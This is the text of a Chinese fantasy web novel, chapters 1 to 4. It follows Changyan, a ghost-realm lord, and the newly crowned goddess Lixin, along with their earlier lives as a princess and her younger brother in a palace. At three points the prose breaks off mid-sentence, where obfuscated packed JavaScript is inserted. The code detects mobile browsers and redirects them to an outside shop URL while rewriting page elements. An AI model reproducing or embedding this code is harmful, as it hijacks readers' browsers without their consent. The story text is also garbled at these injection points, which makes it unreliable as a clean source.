《我为阿姐掌魂灯》 1. 第1章 人间正是春三月时,无渡川仍是一片黑寂。 无渡川川主长魇执魂灯引魂入世,他小心牵着那缕不成形的魂魄安静游走在冥河之上。 这是他这六万年来遇到的最奇怪的一缕魂魄,这么算来这是魂魄主人的第九世轮回结束。 无渡川每日轮回转世的魂魄不在少数,他们死因不尽相同,但每个魂魄都带着前世未了的心愿,他们会徘徊在渡桥之下始终不愿抛弃前尘入轮回。 她是特别的。 长魇送这缕魂魄入世九次,从未听过她有何未了的心愿。 猝然间,无渡川上空劈下几道天雷,长魇将手中的残魂存于魂灯之中,孤身直面天雷。 黑白无常就在冥河边,他们想冲上去,可这冥河早在无形中被一股力量笼罩设下了一道无人可破的禁制。 “这难道是……雷劫?” 白无常不解道:“可是咱们主上的雷劫还有一万年啊,这雷真朝着咱们主上劈过去的吗?” 长魇盯着这突然来雷劫,心里早已有了猜测。 “我无渡川的魂魄何时要轮到蓬莱境管了?”长魇手中一闪,那装着魂魄的魂灯便藏入了他体内,纵使雷劫要将那魂魄劈的灰飞烟灭也得先将他一并处理。 蓬莱境的人自然是不敢,他是无渡川川主,蓬莱境不可能犯险挑起这乱斗。但是谁都没想到,这天雷并非蓬莱境可控,而是实实在在的一场劫——属于长魇手中那缕魂魄的雷劫。 黑白无常眼睁睁看着长魇的仙骨被雷劫生生劈断一根又一根,但他们川主仍是不死心,竟准备祭出自己的神魂与雷劫抗衡。 就这么僵持下去迟早会堙灭的,若长魇祭出那缕残魂,或许他还能从雷劫之下全身而退。 “主上!一缕残魂而已,何至于此呢?” 长魇决定拼死一搏,猛然间,被他收回的魂灯强行离体,那缕残魂终于有了一丝意识挡在了长魇的身前。 无法分心的长魇大声呼喊:“小寻——” “阿惟,”残魂早已不成形,哪怕最基本的人形都维持不了了,“阿姐在。” 没人看清这雷劫是如何散的,而那缕残魂,川主也曾再去人世寻过、在无渡桥下等待过,却再也不曾见过。 …… 蓬莱境十万年,洛神璃心破境出关,此事一路传至下界的藏魔窟,而暗暗涌动的远不止那些被封在魔窟里的恶鬼们。 璃心海,洛神璃心神宫。 此地为创世神开创万物时别有私心打造的神殿,还残留着创世神最纯粹的一丝灵力,对不少人来说,这是极佳的修炼之地,而璃心也是诞生于此。 “殿下,不日便是您的登基大典,这次的请帖交由司缘大人拟写,正逢无渡川那位大人出关,他便自作主张送了份请帖过去。”进来的仙子将准备好的华服替璃心换上,还细心检查了一番有何需要再裁的地方,“殿下,您……似乎不大高兴?” 璃心的脸上鲜少有表情,恰恰这位仙子在蓬莱境多年,最擅长察言观色,也因此稍稍猜中了大概。 “殿下不用担心的,登基大典那日,主持的可都是蓬莱境最有威望的几位上神,绝对不会出什么岔子的。” 璃心迟疑了一会儿,问:“你方才说的无渡川的那位大人,可是长魇?” “是呀,说起来殿下还没见过那位川主呢。”仙子突然间话多了起来,手上量衣的动作也没停,“长魇大人在您登基之后会一同去藏魔窟,但是今年便是他十万年大劫了……” 十万年大劫是破镜最后的机会,无渡川川主若是能成功渡过,那在整个蓬莱境恐怕都无人能敌。璃心出关以来一直有意隐藏自己的实力,蓬莱境与无渡川并无恩怨,只是将来作为一方执掌者,又怎会有下属不希望自己的主子更强呢。 “好啦,晚些时候小仙再将改好的衣服送过来,殿下先休息吧。” 仙子动作很迅速,收拾一番后便离开了。 璃心海这地方大,也最缺热闹。 自她有记忆起便一直被困在这儿,那时她听起许多来伺候起居的仙子们常谈起蓬莱境热闹的神都、无渡川的鬼市以及那人间的盛京。她盼过许多次,那时的她会想着,如果她能够听了那些上神们的话勤加修炼,或许有一天真的能够获得自由。 可当她离开璃心海,她就再没有自己可选择的余地。她记得那些人对她说的—— “这是创世神定下的规矩,若要彻底铲除藏魔窟对三境的影响,就必须让璃心海孕育的神灵登上蓬莱神位,入轮回、祭仙骨……” “我能自由吗?” “……如果你能活着回来的话。” 回来之后的她早已经记不清入轮回塔之后的事,后面便是闭关了千年,再次出关后就不清不楚被人推上了蓬莱境之主的位置。她倒是打听了一些关于“藏魔窟”的故事,每隔千年魔窟的封印便会松动,两境也需要人去修补,并且深入探查。 陆陆续续蓬莱境损失了不少,他们将璃心推上高位,无非是让她有了个不能拒绝的理由。 大典之日如期而至,虽说是司缘亲自拟邀的宾客,可真正到场的却是寥寥无几。除了主持大典的上神不得缺席,那些脾气大的要么是不来,要么便是目中无人站在一旁当看笑话似的。 ”蓬莱之主这位置她坐得稳吗?” “嚯嚯,若是我,我可坐得不安心。” “若非璃心海只认她一人为主,谁愿意供着一个不知天高地厚的丫头当上蓬莱境之主?” “哟,封主怕是忘了当年去藏魔窟的令尊了?那可是尸骨无存,可别赶着让你们封族如此鞠躬尽瘁了。” 这声音带着纯纯的戏谑,由远及近,一众人倒也好奇是谁敢对着这随时敢拆了神殿的封主说着如此风凉话。 蓬莱神殿入口,一身漆黑的无渡川主宰摇着他那把夺魂扇走在神殿中央,但方才说话的并非他,而是他身侧的二位无常。 封慈逼出一道威压冲着黑白无常而去,长魇夺魂扇翻了个面,竟是将这威压化得无声无形。 他淡淡开扇,也未将人放在眼里,“封主的脾气,倒是和胸量一样……” “大气!” 黑白无常附和。 封慈气得牙痒痒,若非为了整个封族的脸面,他怎么也要让这无渡川上来的小鬼知道出言不逊的后果。他勉强扯着嘴皮一笑,说道:“川主,恭候多时。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992160|193763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “既是蓬莱境立主的大日子,我自然要来恭贺一番。”长魇混入队列之中,同时还有不少上神觉得这人身上凉飕飕的,都不约而同腾了个大点的位置出来,“毕竟是与鬼魂做生意,诸位多担待。” 周身没了那群攀附之人倒是舒服了许多,大典也在宾客到的差不多时开始。 蓬莱境最具威望的几位族长以血脉之力强行催醒蓬莱神柱,只见一道金光冲破天际,与此同时,不远处的璃心海也汇聚了灵力与其交融。 “我等跟随创世神的指引等候千年,恭迎新任蓬莱之主—— “洛神,璃心。” 金光汇聚的至高处,璃心渐渐化形,一身珠玉鎏金作饰的霓裳羽衣,她这副姿态完全是以上位者俯视众生,像极了那救世的真神。 一众人不敢直视那上任的新主,璃心落在蓬莱神柱下的主位上,语气淡了许多,“汝等平身罢。” “谢主神——” 长魇方才看得有些魔愣,他闭关太久,这记忆也越来越差了些。 “川主大人,对于藏魔窟探查一事可有何准备?是否需要蓬莱境派人帮忙里应外合?” “川主大人……” “川主?” 长魇明显往后趔趄了一下,晃了晃脑袋回答:“藏魔窟方圆五里不宜派人久留,若是不放心,将魔族的那块地方加几层封印便可。” 一长老却道:“蓬莱境和无渡川派人去藏魔窟,魔族必然也会有所行动,两境失守,也不知道……” “长老无须担心,魔主没那么容易醒来。”长魇合起自己的扇子,并未解释他如此自信的理由。不过其他人脸上焦急的时候情绪也明显少了。 要知道,当年便是无渡川川主重伤魔主,由此换来了万年和平。蓬莱境的人总是嘴上高傲,心底都多多少少对他有些敬佩在的。 大典之后,璃心约着司缘来了一趟璃心海。 “主神即将前往藏魔窟,此前还有要事吩咐吗?” “蓬莱境的大小事务我也还干涉不了吧。”璃心顿了一会儿,“我只是突然好奇,关于轮回塔……我没有了任何记忆。” 司缘转头看她,“进轮回塔与凡人轮回是一样的,凡人轮回无法带着记忆去往来世,主神无需勉强自己。” “我也觉得这一万年只是睡了一觉,虽然感觉不到任何痛,”璃心将手放在心口,“但我也不觉得我应该高兴……” 司缘试着安抚她,说着:“轮回便是如此,每一次睁眼对人们来说都是新生。抛弃前尘过往,这样才能一直有着对活下去的渴望。若是无法割舍自己的过往,活着于他们而已就是煎熬。” 璃心:“那无渡川的川主呢?我似乎能看出来他很痛苦。” “他当然痛。”司缘哂笑,“他是无渡川引路人,每天便会送走万千魂魄去往下一个来世,他载着他们的记忆,清楚的知道所有人的弱点。也是古往今来唯一能支撑无渡川的人了。” “那我的弱点他也会知道吗?” 司缘一时半会儿也解释不清楚,只好借故先离开,最后留下意味深长的一句。 “这么说起来,你们的缘分还未尽呢。” 2. 第2章 “知道化神池吗?” 掌心焰照亮了长魇的脸。他用术法散了身上的血腥味,好一会儿才看向她。 璃心木讷问:“你说的是藏魔窟的东西?” 这是他们进藏魔窟的第五日,这一路上顺利的有些怪异了,为了好应付接下来的魔族他们决定先休息片刻。 算起来,这也是长魇第二次来藏魔窟了,这里的路他多多少少还记得些,除此之外的那就是靠那些前辈撰写的笔记多了解了解。他一听璃心这语气,便知道蓬莱境的那些人是根本不曾给这位新的蓬莱之主说过藏魔窟的情况的。 “化神池相当于藏魔窟的心脏,那里的浊气也是最强盛的,若是不慎落入化神池之中,那便是神魂俱散。”长魇见她听得用心,倒也没心没肺和她开了个玩笑话,“你没来过,就不怕有来无回吗?” “我自有记忆起就是需要为蓬莱境献出一切的,不管干什么都是由着他们安排,我只需要当他们顺手的刃就行。”璃心对自己身上的血腥味没太多的感觉,长魇多少有些看不下去,便将长袍一角撕下递给她,“川主呢?川主会怕吗?” 长魇早已看透人世间的真情假意,但也是这会儿知道,蓬莱仙境的上神也会如此。他有些自嘲地笑了一会儿,慢慢回答:“我还有一个未了的心愿,可不能死在这里。” 藏魔窟路型复杂,据古籍记载,在化神池四方都有镇神幡,入侵的神族一旦逼近便会被镇神幡勾住神魂最终被送入化神池成为藏魔窟的养分。 这东西本是蓬莱境为惩罚罪神的刑具,为何会落到藏魔窟至今无人知道。 “这里已经接近藏魔窟的中心地带了吧?魔物几乎不敢往这里靠近,你不觉得奇怪?”璃心的长戟几乎再没有沾过血,他们也不知道在这沙地走了多久。几乎是她刚说完这话,前面的风沙便主动散开,映入眼帘的是那立于四方的镇神幡。 璃心将自己的长戟深插在沙地上,用灵力妄想收回镇神幡。 “拿几个破旗子,就想挑战蓬莱境的权威?” 长魇盯着那丝毫未被牵动的镇神幡,心下猛地一紧。 “不好,镇神幡的作用被倒置了,后退!” 璃心早已经被镇神幡勾住魂魄,手上连接镇神幡的线逐渐将她扯近,若是完全靠近了镇神幡,恐怕是再也出不去这地方了。 “璃心、璃心,璃心——” 璃心几乎无法挣扎,那四面镇神幡将他们团团围住,强行将他们的神魂镇压。 “川主,无须挣扎了。”一道黑影来到长魇身后,形如鬼魅,“此次便是专为你设下的局,你的弱点便在这美梦里吧?” 方才这脚下还是荒芜沙地,顷刻,黑水蔓至膝间,长魇奋力抓住璃心的手想要冲破阻碍,可他越是激发自己的灵力,自己的意识便也越来越模糊。 “你会喜欢这份礼物的。” …… 一千年前,人族三国互相制衡——北离、南都以及东川。 东川虽在其中,但鲜少参与两国纷争,直到北离国君秦燔继位,东川就此再无痕迹可寻。 马车停在蜀州一处不知名的镇子外,凉夜里,一名约莫十一、二岁的小姑娘,额上系着孝带,脚步虚浮,就这么慢慢走着也没人催促她。 她已经不知道自己上一次合眼是什么时候了,但终是身体没能扛住,哐当一声砸在了泥石坑里,瞬间不省人事。 “殿下!” 据随行的侍女说,她已经睡了一天一夜,马车也即将抵达宫门。 “殿下,这是路上买的一些吃食,陛下说您喜欢甜口,所以奴婢都挑了些。”说着,绿衣侍女将一筐食盒打开,等着面前这位即将回京的“北离七公主”挑拣一番。 秦朝寻是在乡野里长大的,再难咽下的东西,为了能饱肚她也能吃下,可现在她却一点儿也吃不下。 “我爹爹……”她也是突然想起来自己不能再和平常孩子一样如此称呼自己的父亲,一时之间她还是难以改口,“陛下会见我吗?” 侍女不知道秦朝寻是否想吃,也不敢这么快收起来。她知道秦朝寻对进京会有所不安,只好将出行前从公公那学的话背了一遍:“陛下近来要接待南都的使臣,待这段时间过了就能和殿下聚一聚了。” 北离国君秦燔一共十三子,排行第七的秦朝寻也是他的第一个女儿。这位出自蜀州乡野地方的公主进京自然无法被宫里的姊妹们所接纳,所以在宫门外,秦朝寻就被人来了个下马威。 “吁——”那人骑着马拦在这进宫的必经之路上,随行保护秦朝寻安全的小将军很是恭敬道,“六皇子,还请让一让。” 这六皇子倒是一点儿话也不听,架着马冲上去,将马车的帘子生生拽下来。他在马上居高临下看着车内的人,满是挑衅,“这宫道可不好认啊,七妹不如趁着这机会好好认认路。” 小将军恨不能拔剑出鞘制止,这时候身后的马车有了动静。 只见侍女扶着秦朝寻下来,她还穿着那身沾了泥的白布衣,脸也被磕得不像样,尽管如此,她仍敢直着腰板与那马上的人对视。 六皇子秦硕是皇子里最心高气傲的一位,他母妃也偏得皇帝喜爱,有了八公主之后更是无人敢奈何他。 “七妹这眼神是想杀了我?还是想去给父王告状,让我们知道他有多在意你吗?” 秦朝寻方才在车上没听太清楚,偏头找侍女确认了一下他的身份,这才慢慢回答:“六皇子说得也是,下面这段路我自己走。” 秦硕倒是没想到秦朝寻这么好对付,他立刻故作不好惹的姿态,咳道:“等等。” “我身子不好,六皇子还有什么要说的就快些吧。” “我再给你一个选择,你立刻坐着马车回蜀州永不回京,我每月给你百两银子。” “百两是多少?” 秦硕被问题噎住,急道:“那自然是一百两!” “不够。”秦朝寻笑着举起了手掌,“五百两,黄金。” “你……”秦硕从没吃过这么大一个瘪,待秦朝寻背对着他离开,他才渐渐露出了从容不迫的神情,“那就拭目以待,七公主。” 这宫道仅仅是皇宫的入口罢了,秦朝寻服软答应秦硕走去自己的宫殿,那完全就是给自己找不痛快。 “殿下,吃点吧,”侍女把糕点递过来,秦朝寻这次倒是接的顺手,“这儿去殿下的宫殿不远的,晚膳前咱们就能到。” 秦朝寻看着两边让人压抑的宫墙也确实有了想回蜀州的念头,她看着眼下只她二人,就不再避讳问起了自己这些个兄弟姐妹的事儿来。 侍女倒是知无不言的类型,秦朝寻也挺喜欢她。 “方才那位六皇子是丽妃娘娘的长子,八公主也是他的亲妹妹。六皇子许是怕七殿下会同八公主争宠,所以这才来为难您。”小侍女说起话来就会放慢脚步,然后只好小跑跟上,“大皇子和二皇子则是祯贵妃娘娘所生,两位殿下继承了陛下的骑术和剑术常常随军驻扎在野外,有时候逢年过节都回不来一次呢。” 这些年长的皇子们倒是懂如何为皇帝分忧,包括六皇子,秦朝寻觉得他也没表面上那么简单,否则那个小将军不会忍到秦朝寻下马车还无反应。 “三皇子是个书痴,所以陛下让他在学堂当教,科举的试题他可出过几次,后来不知道什么原因他也不去学堂教书了,一个人待在自己的宫殿里,英妃娘娘上门几次都没能见到人。” 三皇子听起来像是受了什么挫,不过他作为一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这侍女不知道的是,秦朝寻也和十二皇子一样自小没了母亲,所以就算冒着被排挤的风险她也想拉秦惟一把。 同病相怜的人才知道跌入谷底时伸出的那双手有多温暖。 “都给我住手!”秦朝寻跑上去将小小一个的秦惟护在自己身后,“你们谁敢再欺负他一下?” “哪里来的丑八怪?不让开就连着你一起打。” 因为没有宫里那些条条框框束缚,这么多年她都是活得随心所欲。在他们镇子里从没有仗势欺人的事,即便有人起了冲突,他们都会找自己的过错,最后互相赔礼道歉。秦朝寻对自己的能力很清楚,不然她不会贸然冲上去替人解围。 身后的小皇子怕她跟着自己吃苦头,喊道:“不管我没事的,他们不敢再怎么样。” 嚣张的两个皇子一个选择分散秦朝寻的注意力,另一个绕到后面抓秦惟。秦朝寻发了狠一般朝十皇子脸上打,最后也是忘了收力,这砸在肚子上的一拳稍微重了些。 “你再敢动一下十哥哥试试!信不信我今天就溺死这个小野种。” 十一皇子将秦惟推到假山水池边,一手抓着秦惟的后颈将人摁进水池。 秦朝寻没想到这不过九、十岁的孩子就如此胆大,她无奈之下只好将十皇子踹远,转头就跑上去拉秦惟一把。 十一皇子仗着自己身量比秦惟高,将人翻进水池里,自己则是绕开秦朝寻扶着十皇子落荒而逃。 一直在入口躲着的侍女这会儿终于敢露面,水池的水刚好到秦朝寻腰间,救人虽然没什么难的,可这水太凉也伤身体,“殿下!殿下您没事吧?” “咳咳……咳……” 秦惟被秦朝寻捞出来,嘴里还不停吐着池水。 “都咳出来了吗?”秦朝寻拍拍他的背,很是担心,“你的下人呢?他们就任凭着你被欺负?” 秦惟咳得眼眶都是红的,里面明显有泪,但他偏偏忍得住。 “姐、姐姐,为什么会救我?” 秦朝寻不太懂什么高深莫测的话术哄小孩,心疼地蹲下来撕下衣角替他擦干头发。良久,她朝他伸出手。 “你既叫我一声姐姐,那今后便由我来护着你吧?” 3. 第3章 为了送十二皇子回宫,秦朝寻在路上也耽搁了不久,到了寝宫后也只能让下人将备好的饭菜重新热一下。 “殿下若太善良,迟早是要掉一层皮的。十二皇子虽然被人瞧不起,但他生母也是镇国大将军的亲妹妹,有着这一层关系,那些皇子们是不敢下太重的手。” “小春,方才你看到十二皇子寝宫里的下人了吗?”秦朝寻刚沐浴完换了身干净的素衣,洗去一身尘埃打理一番后,倒也是能看出是个白净的姑娘,只可惜那被石头磕坏的脸,“他松开我的手的时候还在发着抖,他也是陛下的孩子,在自己的寝宫里也活得如此战战兢兢吗?” 小春觉得自己不应该多言,一开始公公点名让她来好好照拂七公主,如果其中出现什么差池,她也是脱不了干系的。只是秦朝寻想帮十二皇子的决心实在难能可贵,她也只好将公公的嘱托先搁一边。她给秦朝寻先倒了一杯热茶暖暖身子,看着人慢慢动筷,“陛下几乎不曾过问铜雀宫的事情。以前将军府还常常会派人去探探皇子的近况。只、只是这些年镇国大将军落下的旧病复发,整个将军府都在倾尽人力伺候老将军,宫里的事便也再无人过问了。” 总的来说就是秦惟身后的镇国将军即将倒下,各大世家也不再畏惧他身后的势力,为了铲除一个皇位继承者他们会不择手段。贵妃们并不无辜,甚至还默许小皇子们胡作非为。可是皇帝又怎么能如此纵容兄弟们之间互相残杀,他是知道还是被蒙在鼓里? “陛下……是知晓此事的,只是这宫里免不了一场腥风血雨,陛下若是帮助十二皇子,那么他就永远也长不大,永远只能活在陛下这把伞下。” 恍然间,秦朝寻有些痛恨起自己的父王。 这些年在蜀州时,那位帝王还会放下身段,混入蜀州百姓之中同她一起下水田种下小苗。那时候蜀州阴雨连绵,年近六旬的他会用衣袖替小姑娘挡雨,秦朝寻一直觉得她的爹爹就是蜀州同她相处那般慈祥。他有这么多孩子,自然是无法做到雨露均沾,可分出一点关心出来,让一个孩子不担惊受怕地活着,对他来说也不算什么难事。 第二日本该有嬷嬷来教她一些宫里的礼仪,但醒来的第一刻,小春就急不可耐地将人收拾打扮了一番。再一转眼,秦朝寻就坐在了太学馆里。 诧异的当然不止秦朝寻,还有她未来的同窗。 “丑八怪,你怎么会在这里?”十一皇子站起来冲她过去,指着人就是骂,“你昨天敢把我十皇兄打成那样,你还有胆子出现在我面前!说!你爹娘是谁,我可饶你不死!” 秦朝寻看着身边这些个看笑话的世家子弟,倒不好直接让十一皇子出太大的丑,只能形容形容十皇子当时的惨样:“十皇子不是看你玩水险些掉下去了,他为了去捞你不小心跌倒了吗?” “你……你还敢不承认,信不信我找人扒了你的皮!” “都在吵什么?”夫子拿着戒尺一人打了一板子,这十一皇子顿时就安分了,“拿着书站后面一天,七殿下也是一样的。” 底下的学生们都在怀疑自己是不是听错了,互相开始确认起来。 “七殿下?她是那个七公主吗?” “看着应该是吧……不然谁还敢揍十皇子,我听太医院的人说,十皇子的脸被打得可丑了,没十天半个月啊是不会来太学馆了。” 夫子的课并没多大意思,一堂下来,秦朝寻竟然觉得自己有些没睡醒。 “姐姐困了吗?去我的位置上趴一会儿吧,下一堂我替姐姐受罚。” 秦朝寻刚发现秦惟也在学堂里,她眯了眯眼,找了找那位拿着戒尺的先生,“夫子走了吗?若是待会儿他没见着我,会不会连你一起罚了?” “不会的,下一堂是女师的课,我学不太明白,在后边站着就不用怕被叫着答题了。” 然而这课还没上一半,秦朝寻就因为头砸在了桌上,再次被叫到后面继续站着。秦惟显然也是失去了所有力气与手段,拿书挡着自己下半张脸,小声问:“姐姐疼吗?” 秦朝寻看了看他,显然是还没有彻底醒过来,“你也睡着了?怎么也在这里?” 一边的十皇子依旧不忘嘴贱:“两个小野种,还真以为来学堂能学出多大的本事呢?” 傍晚时分,北离国君刚批阅完积压多日的奏章,本想着能即刻回寝宫歇下,外面的公公却脚步踏出虚影一般冲进了御书房。 公公扑跪在地上,大喊:“报——” “边防的急报?大皇子和二皇子如今都在军营里了吧?” “回陛下,是、是事关十一皇子的。” 秦燔每日都要听一些老十和十一闯祸的事,这昨天没有消息,他就想着这俩孩子不闯些祸都是太阳准备打西边出来了。 “十一又和人吵起来了?” 公公拿手抹了一把汗,答道:“两位贵妃娘娘正在来御书房的路上了……说是、说两位皇子遭了打,十皇子今日就没去学堂了。” 秦燔听到这消息倒是觉得挺有趣,十皇子和十一皇子在宫里那可是妥妥的纨绔,除了贵妃和皇帝,几乎没什么怕的。这次吃了亏被人打,那可是天大的趣事了。 皇帝蹲下来问公公,从没这么好奇过,“你说说,谁打的?朕昨日才允了南都国的小世子一同在学堂听学,莫非是他动的手?” “……是七殿下将人打了,”公公正犹豫着要不要继续说下去,想了一想还是全给抖了出来,“一起的还有十二殿下。” 约莫半个时辰,这场闹剧的几位就一同聚在了御书房。 两位贵妃娘娘分别抱着自己的皇子哭诉了许久,继续向皇帝求情:“陛下,您可要做主啊!七公主昨日一回宫便将我懿儿打成这样,太医院的人都说这些日子都去不了学堂了。” “还有我们荣儿,陛下,今日臣妾在宫里等了许久,谁知等来的却是咱们荣儿被打成这样。大夫也说了,这骨头虽还好着,但以后难免落下病根啊……” 秦燔只是看着跪在一边的秦朝寻和秦惟,淡淡问了一句:“你们可知错了?” “儿臣……”秦惟下意识就要服软,一旁的秦朝寻却捂住了他的嘴。 她盯着皇帝,毫不示弱,“儿臣无错,阿惟也没有错。” 整个御书房突然变得极为安静,两位贵妃看着皇帝那不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992162|193763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再偏向他们的脊背,呼吸都变得缓慢起来。 这宫里谁人不知皇帝每年总会出宫一段时日,那自小被养在宫外的公主几乎是皇帝的逆鳞。与后宫里这些为了稳固权势而娶的妃子们不同,秦朝寻的生母无权无势,仅仅只是秦燔年轻时的钟情之人。 秦燔陷入了一个两难的抉择之中。他当然知道这件事的始作俑者是谁,但他也不能完全偏向秦朝寻,只能尽量找一个两全其美的办法。 他思索许久,道:“既然不知错,那这月便留在见春宫好好反省,懿儿和荣儿既然伤了,贵妃就好好照顾着,没朕的命令,也不许出宫半步。” “惟儿……”秦燔看着这群孩子里最瘦小的秦惟,还是不忍心疼,“福寿公公,将他送去将军府吧。” 秦惟最后虽被送去了将军府,但每日也会往返学堂。在将军府里有着最好的骑射老师,也学了许多学堂里不曾学到的东西。自此,他也不需要再躲在秦朝寻身后,而是能与秦朝寻并肩而立。 ……六年后,皇家狩猎场。 “今日大皇子和二皇子都回宫了,若是他们俩也参与今年的围猎,那这群小辈们可就没有胜算了。”几位贵妃娘娘聚在一块聊了许久,都是在猜今日骑射的赢家。 八公主秦琳提着裙子凑了过去,也掺和道:“六皇兄不也是近日才回宫吗?我四哥那也算是土匪窝里走过一遭的人了,今日啊我买我六哥。” 丽妃娘娘拉着秦琳的手,告诫她莫要再出言不逊。若是六皇子待会儿没能拨得头筹,那可是要被笑话死的。 另一处凉亭下,小春给前面的华服公主重新簪上了簪子,同时将洗净的果子推到了她手边。天气倒是渐渐热起来,不过狩猎场林子大,倒也凉快。 “殿下,不一起下个注吗?” 不过六年时光,秦朝寻脸上的稚嫩褪去得没有留下一丝痕迹,这也让她从一个小女孩迅速长成了一个大姑娘,甚至让不远处的世家子弟们都忍不住瞧上几眼。她的一颦一笑都充满了蛊惑人心的魔力,似乎能勾得人心甘情愿为她付出。 秦朝寻拿着一串葡萄吃起来,慵懒至极,“六皇子不过是和山匪斗旋了几年,和上过沙场、真正受过腕骨之痛的兵将相比,那还差得太远了。” “阿姐!” 草场上,少年驾马冲进来,那刺眼的光打在了少年郎的后背,秦朝寻也愣了几分,看着少年从马背上翻下来快步跑往凉亭这边。 “阿姐是不是也没想到我今日就回来了?”秦惟一上去就被秦朝寻抓着转了个圈,“阿、阿姐我没事,说了带个毫发无损的弟弟回来呢,我可没食言。” 秦朝寻检查了一番确实没见到有伤,这几日悬着的心倒也是放下了。不过她还是捏了一下秦惟腰上的肉,明显还是在生气,“你不过跟着老将出京平一番藩王之乱,怎么我一点儿消息都探不到?” 正要打闹一番的时候,原本刺眼的阳光被一道人影挡住,秦惟和秦朝寻同时转头往那不速之客看过去。 秦惟咬住下槽牙,愠怒,“是你?” 秦朝寻挑起嘴角,放下了手里的葡萄,“急着回来邀功吗?六殿下?” 4. 第4章 整个宫里都曾传过秦朝寻的那些“风流”事迹。从她被皇帝禁足解除之后她整个人就仿佛脱胎换骨了一般,面对那些小皇子们的挑衅,她不再那么莽撞上去与人缠斗。她学会了一套蛊惑人心的法子,她予人好处,学得好一番借刀伤人。 六皇子秦硕,是这宫里算计最深的皇子,而秦朝寻与他的渊源可不止在初入宫门的那会儿。 秦硕当然知道他们俩不会太欢迎自己,但还是把话撂这儿了,“既然十二弟来了,不如就猎场上见。” 如今皇子们都长大,北离的太子之位正是争抢激烈的时候。今天的围猎说明白了也是为了考量并为太子人选做最后的定夺。 若要从功绩上来说,大皇子和二皇子都是最佳的人选,可是他们的谋略和算计却不如秦硕。这土匪窝一锅端起来对那两位皇子来说不是什么难事,但只是端了一个老巢意义不大,秦硕算得很不错,他守株待兔花了不少时间,最后将土匪们的几个据点逐一挖出并攻破。 今日围猎不管结果如何,他都会得到陛下的嘉赏。 秦朝寻替秦惟拿来了他最顺手的那把弓,这弓在一次打猎时被猛兽几乎咬断难以复原。秦惟在用兵器上总是挑着顺手的用,即便是断了他也是不舍得扔掉的。现如今看着秦朝寻将修补好的弓带来,他心里真的是又惊又喜。 “阿姐……为了修补它花了不少功夫吧?”秦惟手抖着拿起弓,从他的眼里能看出来,他是极为稀罕此物,“这是阿母留给我唯一的东西了,阿姐,谢谢你。” 秦惟眼泪已经到了眼角,秦朝寻叹着一声气拿帕子给他擦了个干净,“男儿家哭哭啼啼算什么,你若是能拔得头筹让父王对你青睐有加,届时才能让你母妃的在天之灵安心啊,你说是不是?” 被哄得开心的秦惟立刻点头,带好弓翻身上马驾着往猎林而去。 事毕的秦朝寻回到了凉亭下,而八公主也在这儿等着她了。 与身着华服,头上满是贵簪的秦朝寻不同,秦琳的打扮素净许多。她是三位公主里最像皇帝的一个,小小年纪脸上却是英气十足。 “七姐姐哄十二弟倒是越来越顺手了,难得能和姐姐坐在一起,不如我们聊聊有意思的事情?”秦琳并不顾秦朝寻的态度如何,偏找了个挨得近的位置坐下,“一晃又是十年过去了呢,十年前姐姐似乎还没进宫。” 秦朝寻不慌不忙地再拿起一串葡萄,听她铺垫了一会儿,倒是有些打不起精神来,“八妹妹想说什么?” 秦琳见她终于感到了厌烦,也只好直接切入正题:“不知道姐姐有没有听过长生种的故事?那可是咱们北离第一百一十二任国君铸下的大罪呢。” “……六十多年前,北离先皇秦禺信鬼神之说为求长生,大肆敛财铸了黄金炉鼎,他将无辜百姓架在烈火之上灼烧,用他们的骨灰炼制成药。我自然是不相信这能炼出长生药,可是先皇竟真的直到寿终前也在战场上杀敌,有人说,他离统一三国仅仅只差了一步。” 这些故事秦朝寻倒还未听过,不过早些日子宫里也有了些流言,她也不曾放在心上过。果子的汁水变得酸涩起来,她脸上故作矜持,最后将剩下的葡萄放回了果盘,“如此丧心病狂,我想他最后还是死在了那长生不老的药下?” 秦琳拍拍手,她夸起人来完全没有什么心机在里面,“姐姐可真厉害,他当然是死在了自己造下的孽果上。可是这还没有结束,在他死后的两年里,北离足足换了三任国君。据说解决此事的是一名云游的道人,他替北离卜了一卦,说,那些被炼制长生种的冤魂怨气难消,他们的戾气覆盖并影响着整个北离。若是想破解此局那边只有……” 秦朝寻看着她,“以其人之道?” “还治其人之身。”秦琳说完后仍是笑嘻嘻的,试问秦朝寻,“你就不怕吗?若是下一个出现在贡品名册上的是你和十二弟呢?” 身边的人卸下了那副从容模样,她假装喝茶掩饰,却还是被人给看穿。 “七姐姐,你慌了。” 林子里的鸟被惊飞一群又一群,秦硕可是追了那头路一路了,或许是觉得跑不过驾马的人,果断选了棵大树掩护自己。 秦硕瞄准了猎物一箭射出去,没想到却听到了箭被折断的声音。 他抬头望一旁看过去,正好抓着了秦惟放下弓箭的那个点。他也不生气,倒觉得过于巧合了一些,问道:“十二弟若是喜欢这头鹿,我倒是愿意拱手相让。” 秦惟现在拿下的猎物早已足够拨得头筹,只不过他觉得这样狩猎属实无趣,只好来找找这位六皇兄打发打发时间。 